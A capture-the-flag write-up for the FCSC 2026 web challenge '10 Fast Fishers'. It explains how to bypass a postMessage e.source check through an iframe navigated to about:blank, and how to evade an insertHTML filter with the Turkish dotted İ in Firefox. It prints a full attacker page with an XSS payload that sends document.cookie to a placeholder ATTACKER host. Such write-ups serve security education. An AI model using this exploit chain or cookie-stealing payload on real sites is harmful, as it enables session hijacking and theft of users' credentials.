Note
Bypass a postMessage e.source check by navigating a trusted cross-origin iframe to about:blank, then defeat an insertHTML filter with the Turkish dotted capital İ (U+0130) to land XSS and steal the bot's FLAG cookie.
10 Fast Fishers — iframe hijack + Turkish-İ execCommand bypass
CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu · Difficulty: ★ (1 star, 15 solves)
Challenge overview
A typing game: fish swim across an aquarium, each carrying a word and a text-formatting command. You
type the word, click the fish, and the matching document.execCommand() is applied to the selected text
in a contenteditable editor. A bot visits any URL you give it with a non-httpOnly FLAG cookie set on
the app domain — so the real goal is to steal that cookie, not play the game.
The app is a Node/Express server with two routes:
/— the main game page (index.html+game.js)/aquarium— the fish-animation iframe (aquarium.html+aquarium.js)
The main page embeds the aquarium as a child iframe and the two frames talk only via postMessage:
<iframe id="aquariumFrame" src="/aquarium"></iframe>
The bot is Puppeteer driving headless Firefox (important — the final bypass is Firefox-specific). It
sets the FLAG cookie, navigates to the attacker URL, waits ~5s, then closes. Any console.log on the
bot is echoed back, handy for debugging.
Two bugs to chain
game.jsvalidates incoming messages bye.sourceonly, nevere.origin.insertHTML(arbitrary HTML injection) is filtered, but withcommand.toLowerCase()— a Unicode case-folding bug.
Bug 1 — weak e.source check
window.addEventListener('message', (e) => {
if (e.source !== aquariumFrame.contentWindow) { // only checks source window object
console.warn('Message rejected: not from iframe');
return;
}
const { type, data } = e.data;
if (type === 'IFRAME_READY') { iframeReady = true; }
else if (type === 'FISH_CLICKED') { handleFishClick(data); }
});
If we can send a message whose e.source equals aquariumFrame.contentWindow, the check passes
regardless of origin.
Bug 2 — insertHTML filter via toLowerCase
function handleFishClick(data) {
const { command, value, points, targetWord, fishId } = data;
// TODO: Safely implement insertHtml command
if (command.toLowerCase() === 'inserthtml') return; // blocked
// ...
document.execCommand(command, false, value);
}
Hijacking the trusted iframe
The game page is framable (no X-Frame-Options/CSP), so we load it inside our own attacker page. That
gives us this tree:
attacker.com (top)
└── iframe → 10-fast-fishers-app:5000/ (game.js)
└── iframe#aquariumFrame → /aquarium (aquarium.js)
Grab the inner frame:
const inner = iframe.contentWindow.frames[0];
inner is cross-origin, but assigning .location to a cross-origin frame is always allowed. Navigate
it to about:blank, which inherits the attacker's origin → it becomes same-origin with us, so
inner.eval() is now reachable:
inner.location = 'about:blank';
The crucial detail: a navigation does not change the window object reference. Inside game.js,
aquariumFrame.contentWindow still points at the same window — which is now our inner. So a message
sent from inner satisfies e.source === aquariumFrame.contentWindow.
Store the payload on top to dodge escaping, then fire it from inside the (now same-origin) frame:
window.msg = {
type: 'FISH_CLICKED',
data: {
command: 'İnsertHTML', // İ + nsertHTML
value: '<img src=x onerror="location=\'http://ATTACKER/?c=\'+document.cookie">',
points: 10, targetWord: 'Shrimp', fishId: 0
}
};
inner.eval('parent.postMessage(top.msg, "*")'); // parent of inner = the game page
The Turkish-İ execCommand bypass
The filter compares command.toLowerCase() === 'inserthtml'. Send the command as İnsertHTML where
İ is U+0130 (Latin capital I with dot above). In JavaScript toLowerCase() does not fold it to i:
> 'İ'.toLowerCase() === 'i' // false
> 'İ'.toLowerCase() // "i̇" (i + combining dot above)
> 'İnsertHTML'.toLowerCase() === 'inserthtml' // false → filter passes it through
But Firefox's execCommand normalizes the command name internally and treats İnsertHTML as
insertHTML, executing it. (This is why the bot using Firefox matters.) So
document.execCommand('İnsertHTML', false, payload) injects our raw HTML into the editor.
Final exploit
Attacker-hosted page (the timeout lets about:blank settle):
<!DOCTYPE html>
<html><head><meta charset="UTF-8"></head>
<body>
<iframe id="iframe" src="http://10-fast-fishers-app:5000/"></iframe>
<script>
const iframe = document.getElementById('iframe');
iframe.onload = () => {
const inner = iframe.contentWindow.frames[0];
inner.location = 'about:blank';
setTimeout(() => {
window.msg = {
type: 'FISH_CLICKED',
data: {
command: 'İnsertHTML',
value: '<img src=x onerror="location=\'http://ATTACKER/?c=\'+document.cookie">',
points: 10, targetWord: 'Shrimp', fishId: 0
}
};
inner.eval('parent.postMessage(top.msg, "*")');
}, 1000);
};
</script>
</body></html>
The injected <img> fires onerror, reads the non-httpOnly document.cookie, and exfiltrates the flag:
GET /?c=FLAG=FCSC{ef387c83c9e558b135d9837c5dc43f46}
Takeaways (generalized technique)
- A
postMessagehandler that checkse.sourcebut note.originis bypassable: the source window object survives navigation. Iframe a framable target, then navigate its trusted child frame toabout:blankto gain same-origin control while keeping the same window reference. about:blank(andjavascript:) inherit the navigating context's origin — a standard way to turn a cross-origin frame you can redirect into a same-origin scripting target.- Case-insensitive filters via
toLowerCase()/toUpperCase()are Unicode-fragile. U+0130 (İ) and U+0131 (ı) break the Latini/Iround-trip; engines that normalize the value downstream (FirefoxexecCommand) still act on the dangerous form. - Always confirm which browser the bot runs — Unicode/
execCommandbehavior differs between Firefox and Chromium.
Sources & references
- Challenge source:
fcsc2026/web/10_fast_fishers - postMessage exploitation: https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/postmessage-exploitation